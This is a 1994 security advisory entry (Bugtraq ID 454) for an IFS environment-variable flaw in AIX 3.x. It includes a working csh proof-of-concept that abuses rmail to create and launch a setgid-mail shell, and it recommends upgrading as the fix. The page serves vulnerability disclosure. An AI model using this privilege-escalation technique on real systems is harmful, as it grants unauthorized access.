AIX IFS Vulnerability

BID:454

Info

AIX IFS Vulnerability

Bugtraq ID: 454
Class: Input Validation Error
CVE:
Remote: No
Local: Yes
Published: Apr 02 1994 12:00AM
Updated: Apr 02 1994 12:00AM
Credit: This vulnerability was published in April of 1994 by an unknown author.
Vulnerable: IBM AIX 3.2.5
IBM AIX 3.2.4
IBM AIX 3.2
IBM AIX 3.1
Not Vulnerable: IBM AIX 4.3.2
IBM AIX 4.3
IBM AIX 4.2.1
IBM AIX 4.2
IBM AIX 4.1.5
IBM AIX 4.1.2
IBM AIX 4.1.1
IBM AIX 4.1

Discussion

AIX IFS Vulnerability

Under older versions of AIX By changing the IFS enviroment variable to / setuid root programs that use system() or popen() can be fooled into running user provided programs.

Exploit / POC

AIX IFS Vulnerability

#!/bin/csh
# IFS hole in AIX3.2 rmail gives egid=mail. Apr. 1994

# Setup needed files.

mkdir /tmp/.rmail
cd /tmp/.rmail

cat << EOF > usr
cp sh mailsh
chmod 2777 mailsh
EOF
chmod 777 usr
ln -s /bin/sh .

# Set PATH, IFS, and run rmail.

setenv PATH .:$PATH
setenv IFS /
echo "cheezy mail hack" | rmail [email protected]
unsetenv IFS
rm -f usr sh # minor cleanup.
echo "Attempting to run sgid shell."
./mailsh

Solution / Fix

AIX IFS Vulnerability

Solution:
Aside from an upgrading to a post 3.X version of AIX the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

References

AIX IFS Vulnerability

References:

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